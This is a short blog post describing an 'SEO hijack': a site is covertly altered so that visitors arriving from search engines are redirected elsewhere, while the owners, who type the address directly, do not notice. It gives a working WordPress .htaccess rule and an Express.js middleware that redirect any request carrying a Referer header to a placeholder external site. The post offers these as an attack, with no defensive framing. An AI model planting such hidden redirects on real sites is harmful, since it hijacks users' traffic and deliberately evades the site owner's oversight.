# SEO hijack

Date: 2018-01-01

I thought about an exploit of the dev team/ owner of a site.  
The main way they enter the site is directly by writing the address.  
But regular users use a search engine to search the site even after the first time.  
So if we can hijack that traffic to another website, we can do it without the owner notice
<!--more-->

  
The idea is to identify the referrer header and redirect the user or inject code to this traffic.

## htaccess - wordpress/ php websites

For a new installation of WP, the .htaccess file look like this :

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    
    # END WordPress
    
    

We'll add to the .htaccess file two lines of code :

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{HTTP_REFERER} .
    RewriteRule ^(.*)$ http://The_redirected_site.com [R=301,L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    
    # END WordPress
    

## Node.js with express4

We'll add a middleware in app.js before the routes :

<pre><code class="javascript">app.use('*', function (req, res, next) {
  if (typeof req.headers.referer !== 'undefined') {
    res.redirect('http://The_redirected_site.com')
  } else {
    next()
  }
})
</code></pre>

References :  
[install lamp](https://stackoverflow.com/questions/29669320/automated-installation-of-lamp-stack-using-shell-script)  
[fix lamp to php5](https://askubuntu.com/questions/756879/cant-install-php5-on-ubuntu-16-04)  
[install WordPress](https://www.digitalocean.com/community/tutorials/how-to-install-wordpress-with-lamp-on-ubuntu-16-04)